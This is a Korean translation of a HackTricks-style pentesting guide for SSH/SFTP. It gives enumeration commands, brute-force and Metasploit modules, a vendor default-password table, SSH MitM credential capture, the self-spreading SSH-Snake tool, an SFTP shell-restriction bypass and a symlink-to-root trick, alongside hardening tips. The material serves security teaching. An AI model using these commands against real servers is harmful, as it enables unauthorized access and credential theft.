22 - Pentesting SSH/SFTP

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๊ธฐ๋ณธ ์ •๋ณด

**SSH (Secure Shell or Secure Socket Shell)**๋Š” ๋ณด์•ˆ๋˜์ง€ ์•Š์€ ๋„คํŠธ์›Œํฌ ์ƒ์—์„œ ์ปดํ“จํ„ฐ์— ์•ˆ์ „ํ•œ ์—ฐ๊ฒฐ์„ ์ œ๊ณตํ•˜๋Š” ๋„คํŠธ์›Œํฌ ํ”„๋กœํ† ์ฝœ์ž…๋‹ˆ๋‹ค. ์›๊ฒฉ ์‹œ์Šคํ…œ์— ์ ‘๊ทผํ•  ๋•Œ ๋ฐ์ดํ„ฐ์˜ ๊ธฐ๋ฐ€์„ฑ๊ณผ ๋ฌด๊ฒฐ์„ฑ์„ ์œ ์ง€ํ•˜๋Š” ๋ฐ ํ•„์ˆ˜์ ์ž…๋‹ˆ๋‹ค.

๊ธฐ๋ณธ ํฌํŠธ: 22

22/tcp open  ssh     syn-ack

SSH ์„œ๋ฒ„:

  • openSSH โ€“ OpenBSD SSH๋กœ, BSD, Linux ๋ฐฐํฌํŒ ๋ฐ Windows(Windows 10 ์ดํ›„)์— ํฌํ•จ๋˜์–ด ์ œ๊ณต๋จ
  • Dropbear โ€“ ๋ฉ”๋ชจ๋ฆฌ์™€ ํ”„๋กœ์„ธ์„œ ๋ฆฌ์†Œ์Šค๊ฐ€ ์ ์€ ํ™˜๊ฒฝ์„ ์œ„ํ•œ SSH ๊ตฌํ˜„์ฒด๋กœ, OpenWrt์— ํฌํ•จ๋˜์–ด ์ œ๊ณต๋จ
  • PuTTY โ€“ Windows์šฉ SSH ๊ตฌํ˜„์ฒด๋กœ, ํด๋ผ์ด์–ธํŠธ๋Š” ํ”ํžˆ ์‚ฌ์šฉ๋˜์ง€๋งŒ ์„œ๋ฒ„ ์‚ฌ์šฉ์€ ๋“œ๋ฌพ
  • CopSSH โ€“ Windows์šฉ OpenSSH ๊ตฌํ˜„์ฒด

SSH ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ (์„œ๋ฒ„ ์ธก ๊ตฌํ˜„):

  • libssh โ€“ ๋ฉ€ํ‹ฐํ”Œ๋žซํผ C ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋กœ SSHv2 ํ”„๋กœํ† ์ฝœ์„ ๊ตฌํ˜„ํ•˜๋ฉฐ Python, Perl ๋ฐ R ๋ฐ”์ธ๋”ฉ์„ ์ œ๊ณต; KDE์—์„œ sftp์—, GitHub์—์„œ git SSH ์ธํ”„๋ผ์— ์‚ฌ์šฉ๋จ
  • wolfSSH โ€“ ANSI C๋กœ ์ž‘์„ฑ๋œ SSHv2 ์„œ๋ฒ„ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋กœ ์ž„๋ฒ ๋””๋“œ, RTOS ๋ฐ ์ž์› ์ œ์•ฝ ํ™˜๊ฒฝ์„ ๋Œ€์ƒ์œผ๋กœ ํ•จ
  • Apache MINA SSHD โ€“ Apache SSHD Java ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋Š” Apache MINA ๊ธฐ๋ฐ˜์ž„
  • paramiko โ€“ Python์šฉ SSHv2 ํ”„๋กœํ† ์ฝœ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ

์—ด๊ฑฐ

nc -vn <IP> 22

์ž๋™ํ™”๋œ ssh-audit

ssh-audit๋Š” ssh ์„œ๋ฒ„ ๋ฐ ํด๋ผ์ด์–ธํŠธ ๊ตฌ์„ฑ ๊ฐ์‚ฌ๋ฅผ ์œ„ํ•œ ๋„๊ตฌ์ž…๋‹ˆ๋‹ค.

https://github.com/jtesta/ssh-audit is an updated fork from https://github.com/arthepsy/ssh-audit/

๊ธฐ๋Šฅ:

  • SSH1 ๋ฐ SSH2 ํ”„๋กœํ† ์ฝœ ์„œ๋ฒ„ ์ง€์›;
  • SSH ํด๋ผ์ด์–ธํŠธ ๊ตฌ์„ฑ ๋ถ„์„;
  • ๋ฐฐ๋„ˆ ์ˆ˜์ง‘, ์žฅ์น˜ ๋˜๋Š” ์†Œํ”„ํŠธ์›จ์–ด ๋ฐ ์šด์˜์ฒด์ œ ์ธ์‹, ์••์ถ• ๊ฐ์ง€;
  • ํ‚ค ๊ตํ™˜, ํ˜ธ์ŠคํŠธ ํ‚ค, ์•”ํ˜ธํ™” ๋ฐ ๋ฉ”์‹œ์ง€ ์ธ์ฆ ์ฝ”๋“œ ์•Œ๊ณ ๋ฆฌ์ฆ˜ ์ˆ˜์ง‘;
  • ์•Œ๊ณ ๋ฆฌ์ฆ˜ ์ •๋ณด ์ถœ๋ ฅ(๋„์ž… ์‹œ์ , ์ œ๊ฑฐ/๋น„ํ™œ์„ฑํ™” ์—ฌ๋ถ€, ์•ˆ์ „ํ•˜์ง€ ์•Š์Œ/์•ฝํ•จ/๋ ˆ๊ฑฐ์‹œ ๋“ฑ);
  • ์•Œ๊ณ ๋ฆฌ์ฆ˜ ๊ถŒ์žฅ์‚ฌํ•ญ ์ถœ๋ ฅ(์ธ์‹๋œ ์†Œํ”„ํŠธ์›จ์–ด ๋ฒ„์ „์— ๋”ฐ๋ผ ์ถ”๊ฐ€ ๋˜๋Š” ์ œ๊ฑฐ);
  • ๋ณด์•ˆ ์ •๋ณด ์ถœ๋ ฅ(๊ด€๋ จ ๋ฌธ์ œ, ํ• ๋‹น๋œ CVE ๋ชฉ๋ก ๋“ฑ);
  • ์•Œ๊ณ ๋ฆฌ์ฆ˜ ์ •๋ณด๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ SSH ๋ฒ„์ „ ํ˜ธํ™˜์„ฑ ๋ถ„์„;
  • OpenSSH, Dropbear SSH ๋ฐ libssh์˜ ์ด๋ ฅ ์ •๋ณด;
  • Linux ๋ฐ Windows์—์„œ ์‹คํ–‰;
  • ์˜์กด์„ฑ ์—†์Œ
usage: ssh-audit.py [-1246pbcnjvlt] <host>

-1,  --ssh1             force ssh version 1 only
-2,  --ssh2             force ssh version 2 only
-4,  --ipv4             enable IPv4 (order of precedence)
-6,  --ipv6             enable IPv6 (order of precedence)
-p,  --port=<port>      port to connect
-b,  --batch            batch output
-c,  --client-audit     starts a server on port 2222 to audit client
software config (use -p to change port;
use -t to change timeout)
-n,  --no-colors        disable colors
-j,  --json             JSON output
-v,  --verbose          verbose output
-l,  --level=<level>    minimum output level (info|warn|fail)
-t,  --timeout=<secs>   timeout (in seconds) for connection and reading
(default: 5)
$ python3 ssh-audit <IP>

See it in action (Asciinema)

์„œ๋ฒ„์˜ ๊ณต๊ฐœ SSH ํ‚ค

ssh-keyscan -t rsa <IP> -p <PORT>

์•ฝํ•œ ์•”ํ˜ธํ™” ์•Œ๊ณ ๋ฆฌ์ฆ˜

์ด ํ•ญ๋ชฉ์€ ๊ธฐ๋ณธ์ ์œผ๋กœ nmap์— ์˜ํ•ด ๋ฐœ๊ฒฌ๋ฉ๋‹ˆ๋‹ค. ํ•˜์ง€๋งŒ sslcan์ด๋‚˜ sslyze๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค.

Nmap ์Šคํฌ๋ฆฝํŠธ

nmap -p22 <ip> -sC # Send default nmap scripts for SSH
nmap -p22 <ip> -sV # Retrieve version
nmap -p22 <ip> --script ssh2-enum-algos # Retrieve supported algorythms
nmap -p22 <ip> --script ssh-hostkey --script-args ssh_hostkey=full # Retrieve weak keys
nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check authentication methods

Shodan

  • ssh

Brute force usernames, passwords and private keys

Username Enumeration

์ผ๋ถ€ OpenSSH ๋ฒ„์ „์—์„œ๋Š” timing attack์„ ํ†ตํ•ด ์‚ฌ์šฉ์ž ๊ณ„์ •์„ ์—ด๊ฑฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋ฅผ ์•…์šฉํ•˜๋ ค๋ฉด metasploit module์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

msf> use scanner/ssh/ssh_enumusers

Brute force

์ผ๋ถ€ ์ผ๋ฐ˜์ ์ธ ssh credentials๋Š” here ์™€ here ๋ฐ ์•„๋ž˜์— ์žˆ์Šต๋‹ˆ๋‹ค.

Private Key Brute Force

์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ssh private keys๋ฅผ ๋ช‡ ๊ฐœ ์•Œ๊ณ  ์žˆ๋‹ค๋ฉดโ€ฆ ์‹œ๋„ํ•ด๋ด…์‹œ๋‹ค. nmap script๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html

๋˜๋Š” MSF auxiliary module:

msf> use scanner/ssh/ssh_identify_pubkeys

๋˜๋Š” ssh-keybrute.py (native python3, ๊ฒฝ๋Ÿ‰์ด๋ฉฐ ๋ ˆ๊ฑฐ์‹œ ์•Œ๊ณ ๋ฆฌ์ฆ˜์ด ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์Œ)๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”: snowdroppe/ssh-keybrute.

Known badkeys can be found here:

ssh-badkeys/authorized at master \xc2\xb7 rapid7/ssh-badkeys \xc2\xb7 GitHub

Weak SSH keys / Debian predictable PRNG

์ผ๋ถ€ ์‹œ์Šคํ…œ์—๋Š” cryptographic material์„ ์ƒ์„ฑํ•  ๋•Œ ์‚ฌ์šฉ๋˜๋Š” random seed์— ์•Œ๋ ค์ง„ ๊ฒฐํ•จ์ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋กœ ์ธํ•ด keyspace๊ฐ€ ๊ทน์ ์œผ๋กœ ์ค„์–ด๋“ค์–ด bruteforced๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์•ฝํ•œ PRNG์˜ ์˜ํ–ฅ์„ ๋ฐ›์€ Debian ์‹œ์Šคํ…œ์—์„œ ์ƒ์„ฑ๋œ ๋ฏธ๋ฆฌ ๋งŒ๋“ค์–ด์ง„ ํ‚ค ์„ธํŠธ๋Š” ์—ฌ๊ธฐ์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: g0tmi1k/debian-ssh.

๋Œ€์ƒ ๋จธ์‹ ์— ๋Œ€ํ•œ ์œ ํšจํ•œ ํ‚ค๋ฅผ ์ฐพ๊ธฐ ์œ„ํ•ด ์—ฌ๊ธฐ์—์„œ ์ฐพ์•„๋ณด์„ธ์š”.

Kerberos / GSSAPI SSO

๋Œ€์ƒ SSH ์„œ๋ฒ„๊ฐ€ GSSAPI๋ฅผ ์ง€์›ํ•œ๋‹ค๋ฉด(์˜ˆ: domain controller์ƒ์˜ Windows OpenSSH), ์•”ํ˜ธ ๋Œ€์‹  Kerberos TGT๋ฅผ ์‚ฌ์šฉํ•ด ์ธ์ฆํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Workflow from a Linux attacker host:

# 1) Ensure time is in sync with the KDC to avoid KRB_AP_ERR_SKEW
sudo ntpdate <dc.fqdn>

# 2) Generate a krb5.conf for the target realm (optional, but handy)
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
sudo cp krb5.conf /etc/krb5.conf

# 3) Obtain a TGT for the user
kinit <user>
klist

# 4) SSH with GSSAPI, using the FQDN that matches the host SPN
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>

์ฐธ๊ณ :

  • ์ž˜๋ชป๋œ ์ด๋ฆ„(์˜ˆ: short host, alias, ๋˜๋Š” /etc/hosts์˜ ์ž˜๋ชป๋œ ์ˆœ์„œ)์œผ๋กœ ์—ฐ๊ฒฐํ•˜๋ฉด SPN์ด ์ผ์น˜ํ•˜์ง€ ์•Š์•„ โ€œServer not found in Kerberos databaseโ€ ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • crackmapexec ssh --kerberos๋Š” Kerberos ์ธ์ฆ์— ccache๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค.

๊ธฐ๋ณธ ์ž๊ฒฉ ์ฆ๋ช…

VendorUsernamesPasswords
APCapc, deviceapc
Brocadeadminadmin123, password, brocade, fibranne
Ciscoadmin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladminadmin, Admin123, default, password, secur4u, cisco, Cisco, _Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme
Citrixroot, nsroot, nsmaint, vdiadmin, kvm, cli, adminC1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler
D-Linkadmin, userprivate, admin, user
Dellroot, user1, admin, vkernel, clicalvin, 123456, password, vkernel, Stor@ge!, admin
EMCadmin, root, sysadminEMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc
HP/3Comadmin, root, vcx, app, spvar, manage, hpsupport, opc_opadmin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin
Huaweiadmin, root123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123
IBMUSERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customerPASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer
Junipernetscreennetscreen
NetAppadminnetapp123
Oracleroot, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2userchangeme, ilom-admin, ilom-operator, welcome1, oracle
VMwarevi-admin, root, hqadmin, vmware, adminvmware, vmw@re, hqadmin, default

SSH-MitM

๋กœ์ปฌ ๋„คํŠธ์›Œํฌ์— ์žˆ์œผ๋ฉฐ victim์ด username๊ณผ password๋กœ SSH ์„œ๋ฒ„์— ์—ฐ๊ฒฐํ•˜๋ ค๋Š” ๊ฒฝ์šฐ, ํ•ด๋‹น ์ž๊ฒฉ ์ฆ๋ช…์„ ํƒˆ์ทจํ•˜๊ธฐ ์œ„ํ•ด MitM ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

๊ณต๊ฒฉ ๊ฒฝ๋กœ:

  • Traffic Redirection: ๊ณต๊ฒฉ์ž๋Š” victim์˜ ํŠธ๋ž˜ํ”ฝ์„ ์ž์‹ ์˜ ๋จธ์‹ ์œผ๋กœ ์œ ๋„ํ•˜์—ฌ SSH ์„œ๋ฒ„๋กœ์˜ ์—ฐ๊ฒฐ ์‹œ๋„๋ฅผ ๊ฐ€๋กœ์ฑ•๋‹ˆ๋‹ค.
  • Interception and Logging: ๊ณต๊ฒฉ์ž ๋จธ์‹ ์€ ํ”„๋ก์‹œ ์—ญํ• ์„ ํ•˜๋ฉฐ, ํ•ฉ๋ฒ•์ ์ธ SSH ์„œ๋ฒ„์ธ ๊ฒƒ์ฒ˜๋Ÿผ ๊ฐ€์žฅํ•˜์—ฌ ์‚ฌ์šฉ์ž์˜ ๋กœ๊ทธ์ธ ์ •๋ณด๋ฅผ ์บก์ฒ˜ํ•ฉ๋‹ˆ๋‹ค.
  • Command Execution and Relay: ์ตœ์ข…์ ์œผ๋กœ ๊ณต๊ฒฉ์ž ์„œ๋ฒ„๋Š” ์‚ฌ์šฉ์ž์˜ ์ž๊ฒฉ ์ฆ๋ช…์„ ๊ธฐ๋กํ•˜๊ณ , ๋ช…๋ น์„ ์‹ค์ œ SSH ์„œ๋ฒ„๋กœ ์ „๋‹ฌํ•˜์—ฌ ์‹คํ–‰ํ•œ ๋’ค ๊ฒฐ๊ณผ๋ฅผ ์‚ฌ์šฉ์ž์—๊ฒŒ ์ „๋‹ฌํ•ด ๊ณผ์ •์ด ์ •์ƒ์ ์œผ๋กœ ๋ณด์ด๊ฒŒ ๋งŒ๋“ญ๋‹ˆ๋‹ค.

SSH MITM์€ ์œ„์— ์„ค๋ช…๋œ ๋™์ž‘์„ ๊ทธ๋Œ€๋กœ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค.

์‹ค์ œ MitM์„ ์ˆ˜ํ–‰ํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” ARP spoofing, DNS spoofing ๋“ฑ Network Spoofing attacks์— ์„ค๋ช…๋œ ๊ธฐ์ˆ ๋“ค์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

SSH-Snake

๋ฐœ๊ฒฌํ•œ SSH private keys๋ฅผ ์ด์šฉํ•ด ์‹œ์Šคํ…œ์„ ํšก๋‹จํ•˜๊ณ , ๊ฐ ์‹œ์Šคํ…œ์˜ private key๋ฅผ ์‚ฌ์šฉํ•ด ์ƒˆ๋กœ์šด ํ˜ธ์ŠคํŠธ๋กœ ์ ‘๊ทผํ•˜๊ณ ์ž ํ•œ๋‹ค๋ฉด SSH-Snake๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”.

SSH-Snake๋Š” ๋‹ค์Œ ์ž‘์—…์„ ์ž๋™์œผ๋กœ ์žฌ๊ท€์ ์œผ๋กœ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค:

  1. ํ˜„์žฌ ์‹œ์Šคํ…œ์—์„œ SSH private keys๋ฅผ ์ฐพ์Šต๋‹ˆ๋‹ค,
  2. ํ˜„์žฌ ์‹œ์Šคํ…œ์—์„œ ํ•ด๋‹น private keys๋กœ ์ ‘๊ทผ์ด ํ—ˆ์šฉ๋  ์ˆ˜ ์žˆ๋Š” ํ˜ธ์ŠคํŠธ๋‚˜ ๋Œ€์ƒ(user@host)์„ ์ฐพ์Šต๋‹ˆ๋‹ค,
  3. ๋ฐœ๊ฒฌํ•œ ๋ชจ๋“  private keys๋กœ ๋ชจ๋“  ๋Œ€์ƒ์— ๋Œ€ํ•ด SSH ์ ‘์†์„ ์‹œ๋„ํ•ฉ๋‹ˆ๋‹ค,
  4. ๋Œ€์ƒ์— ์„ฑ๊ณต์ ์œผ๋กœ ์ ‘์†ํ•˜๋ฉด, ์—ฐ๊ฒฐ๋œ ์‹œ์Šคํ…œ์—์„œ 1~4๋‹จ๊ณ„๋ฅผ ๋ฐ˜๋ณตํ•ฉ๋‹ˆ๋‹ค.

์™„์ „ํžˆ self-replicatingํ•˜๊ณ  self-propagatingํ•˜๋ฉฐ, ํŒŒ์ผ๋ฆฌ์Šค์ž…๋‹ˆ๋‹ค.

๊ตฌ์„ฑ ์˜ค๋ฅ˜

Root ๋กœ๊ทธ์ธ

SSH ์„œ๋ฒ„๊ฐ€ ๊ธฐ๋ณธ์ ์œผ๋กœ root ์‚ฌ์šฉ์ž ๋กœ๊ทธ์ธ์„ ํ—ˆ์šฉํ•˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ํ”ํ•˜๋ฉฐ, ์ด๋Š” ์‹ฌ๊ฐํ•œ ๋ณด์•ˆ ์œ„ํ—˜์„ ์ดˆ๋ž˜ํ•ฉ๋‹ˆ๋‹ค. root ๋กœ๊ทธ์ธ ๋น„ํ™œ์„ฑํ™”๋Š” ์„œ๋ฒ„๋ฅผ ๋ณดํ˜ธํ•˜๊ธฐ ์œ„ํ•œ ์ค‘์š”ํ•œ ๋‹จ๊ณ„์ž…๋‹ˆ๋‹ค. ๊ด€๋ฆฌ์ž ๊ถŒํ•œ์œผ๋กœ์˜ ๋ฌด๋‹จ ์ ‘๊ทผ๊ณผ brute force ๊ณต๊ฒฉ์„ ์ค„์ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

OpenSSH์—์„œ Root ๋กœ๊ทธ์ธ์„ ๋น„ํ™œ์„ฑํ™”ํ•˜๋ ค๋ฉด:

  1. sudoedit /etc/ssh/sshd_config๋กœ SSH ๊ตฌ์„ฑ ํŒŒ์ผ์„ ํŽธ์ง‘ํ•ฉ๋‹ˆ๋‹ค.
  2. #PermitRootLogin yes๋ฅผ **PermitRootLogin no**๋กœ ๋ณ€๊ฒฝํ•ฉ๋‹ˆ๋‹ค.
  3. sudo systemctl daemon-reload๋กœ ๊ตฌ์„ฑ์„ ๋‹ค์‹œ ๋กœ๋“œํ•ฉ๋‹ˆ๋‹ค.
  4. ๋ณ€๊ฒฝ ์‚ฌํ•ญ์„ ์ ์šฉํ•˜๋ ค๋ฉด sudo systemctl restart sshd๋กœ SSH ์„œ๋ฒ„๋ฅผ ์žฌ์‹œ์ž‘ํ•ฉ๋‹ˆ๋‹ค.

SFTP Brute Force

SFTP command execution

SFTP ์„ค์ •์—์„œ ํ”ํžˆ ๋ฐœ์ƒํ•˜๋Š” ์‹ค์ˆ˜๋กœ, ๊ด€๋ฆฌ์ž๋Š” ์‚ฌ์šฉ์ž๊ฐ€ ์›๊ฒฉ ์…ธ ์ ‘๊ทผ ์—†์ด ํŒŒ์ผ ๊ตํ™˜๋งŒ ํ•˜๋„๋ก ์˜๋„ํ•˜์ง€๋งŒ ์šฐํšŒ๊ฐ€ ๊ฐ€๋Šฅํ•œ ๊ฒฝ์šฐ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ์‚ฌ์šฉ์ž๋ฅผ ๋น„๋Œ€ํ™”ํ˜• ์…ธ(e.g., /usr/bin/nologin)๋กœ ์„ค์ •ํ•˜๊ณ  ํŠน์ • ๋””๋ ‰ํ„ฐ๋ฆฌ์— ์ œํ•œํ•˜๋”๋ผ๋„, ์‚ฌ์šฉ์ž๋Š” ๋กœ๊ทธ์ธ ์งํ›„ ๋น„๋Œ€ํ™”ํ˜• ์…ธ์ด ์ ์šฉ๋˜๊ธฐ ์ „์— ์ฆ‰์‹œ /bin/bash ๊ฐ™์€ ๋ช…๋ น ์‹คํ–‰์„ ์š”์ฒญํ•˜์—ฌ ์ด๋Ÿฌํ•œ ์ œํ•œ์„ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ์˜๋„ํ•œ ๋ณด์•ˆ ์กฐ์น˜๋ฅผ ๋ฌด๋ ฅํ™”ํ•˜์—ฌ ๋ฌด๋‹จ ๋ช…๋ น ์‹คํ–‰์„ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค.

์˜ˆ์‹œ:

ssh -v noraj@192.168.1.94 id
...
Password:
debug1: Authentication succeeded (keyboard-interactive).
Authenticated to 192.168.1.94 ([192.168.1.94]:22).
debug1: channel 0: new [client-session]
debug1: Requesting no-more-sessions@openssh.com
debug1: Entering interactive session.
debug1: pledge: network
debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0
debug1: Sending command: id
debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0
uid=1000(noraj) gid=100(users) groups=100(users)
debug1: channel 0: free: client-session, nchannels 1
Transferred: sent 2412, received 2480 bytes, in 0.1 seconds
Bytes per second: sent 43133.4, received 44349.5
debug1: Exit status 0

$ ssh noraj@192.168.1.94 /bin/bash

๋‹ค์Œ์€ ์‚ฌ์šฉ์ž noraj๋ฅผ ์œ„ํ•œ ์•ˆ์ „ํ•œ SFTP ๊ตฌ์„ฑ ์˜ˆ์‹œ (/etc/ssh/sshd_config โ€“ openSSH):

Match User noraj
ChrootDirectory %h
ForceCommand internal-sftp
AllowTcpForwarding no
PermitTunnel no
X11Forwarding no
PermitTTY no

์ด ๊ตฌ์„ฑ์€ SFTP๋งŒ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค: start command๋ฅผ ๊ฐ•์ œํ•˜์—ฌ shell access๋ฅผ ๋น„ํ™œ์„ฑํ™”ํ•˜๊ณ  TTY access๋ฅผ ๋น„ํ™œ์„ฑํ™”ํ•˜๋ฉฐ, ๋˜ํ•œ ๋ชจ๋“  ์ข…๋ฅ˜์˜ port forwarding ๋˜๋Š” tunneling์„ ๋น„ํ™œ์„ฑํ™”ํ•ฉ๋‹ˆ๋‹ค.

SFTP Tunneling

SFTP ์„œ๋ฒ„์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, ์˜ˆ๋ฅผ ๋“ค์–ด ์ผ๋ฐ˜์ ์ธ port forwarding์„ ์‚ฌ์šฉํ•ด ํŠธ๋ž˜ํ”ฝ์„ ์ด๋ฅผ ํ†ตํ•ด tunnelํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค:

sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>

The sftp have the command โ€œsymlinkโ€. ๋”ฐ๋ผ์„œ ์–ด๋–ค ํด๋”์— writable rights๊ฐ€ ์žˆ์œผ๋ฉด ๋‹ค๋ฅธ ํด๋”/ํŒŒ์ผ์˜ symlinks๋ฅผ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋ณดํ†ต chroot ์•ˆ์— trapped๋˜์–ด ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ์ด๊ฒƒ์ด ํŠน๋ณ„ํžˆ ์œ ์šฉํ•˜์ง€ ์•Š์„ ์ˆ˜ ์žˆ์ง€๋งŒ, ์ƒ์„ฑํ•œ symlink๋ฅผ no-chroot service(์˜ˆ: ์›น์—์„œ ๊ทธ symlink์— accessํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒฝ์šฐ)์—์„œ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด open the symlinked files through the webํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

For example, to create a symlink from a new file โ€œfrootโ€ to โ€œ/โ€:

sftp> symlink / froot

If you can access the file โ€œfrootโ€ via web, you will be able to list the root (โ€œ/โ€) folder of the system.

์ธ์ฆ ๋ฐฉ๋ฒ•

๋ณด์•ˆ์ด ๋†’์€ ํ™˜๊ฒฝ์—์„œ๋Š” ๋‹จ์ˆœํ•œ ํŒจ์Šค์›Œ๋“œ ๊ธฐ๋ฐ˜ ์ธ์ฆ๋ณด๋‹ค key-based ๋˜๋Š” two-factor ์ธ์ฆ๋งŒ ํ—ˆ์šฉํ•˜๋Š” ๊ฒƒ์ด ์ผ๋ฐ˜์ ์ž…๋‹ˆ๋‹ค. ํ•˜์ง€๋งŒ ์ข…์ข… ๊ฐ•๋ ฅํ•œ ์ธ์ฆ ๋ฐฉ๋ฒ•์„ ํ™œ์„ฑํ™”ํ•˜๋ฉด์„œ ์•ฝํ•œ ๋ฐฉ๋ฒ•์„ ๋น„ํ™œ์„ฑํ™”ํ•˜์ง€ ์•Š๋Š” ๊ฒฝ์šฐ๊ฐ€ ๋งŽ์Šต๋‹ˆ๋‹ค. ํ”ํ•œ ์‚ฌ๋ก€๋กœ๋Š” openSSH ์„ค์ •์—์„œ publickey๋ฅผ ํ™œ์„ฑํ™”ํ•˜๊ณ  ๊ธฐ๋ณธ ๋ฐฉ๋ฒ•์œผ๋กœ ์„ค์ •ํ•˜์ง€๋งŒ password๋ฅผ ๋น„ํ™œ์„ฑํ™”ํ•˜์ง€ ์•Š๋Š” ๊ฒฝ์šฐ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ SSH ํด๋ผ์ด์–ธํŠธ์˜ verbose ๋ชจ๋“œ๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ๊ณต๊ฒฉ์ž๊ฐ€ ๋” ์•ฝํ•œ ๋ฐฉ๋ฒ•์ด ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์Œ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d  10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive

์˜ˆ๋ฅผ ๋“ค์–ด authentication failure limit์ด ์„ค์ •๋˜์–ด password method์— ๋„๋‹ฌํ•  ๊ธฐํšŒ๋ฅผ ์–ป์ง€ ๋ชปํ•œ๋‹ค๋ฉด, PreferredAuthentications ์˜ต์…˜์„ ์‚ฌ์šฉํ•ด ์ด method์˜ ์‚ฌ์šฉ์„ ๊ฐ•์ œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

ssh -v 192.168.1.94 -o PreferredAuthentications=password
...
debug1: Next authentication method: password

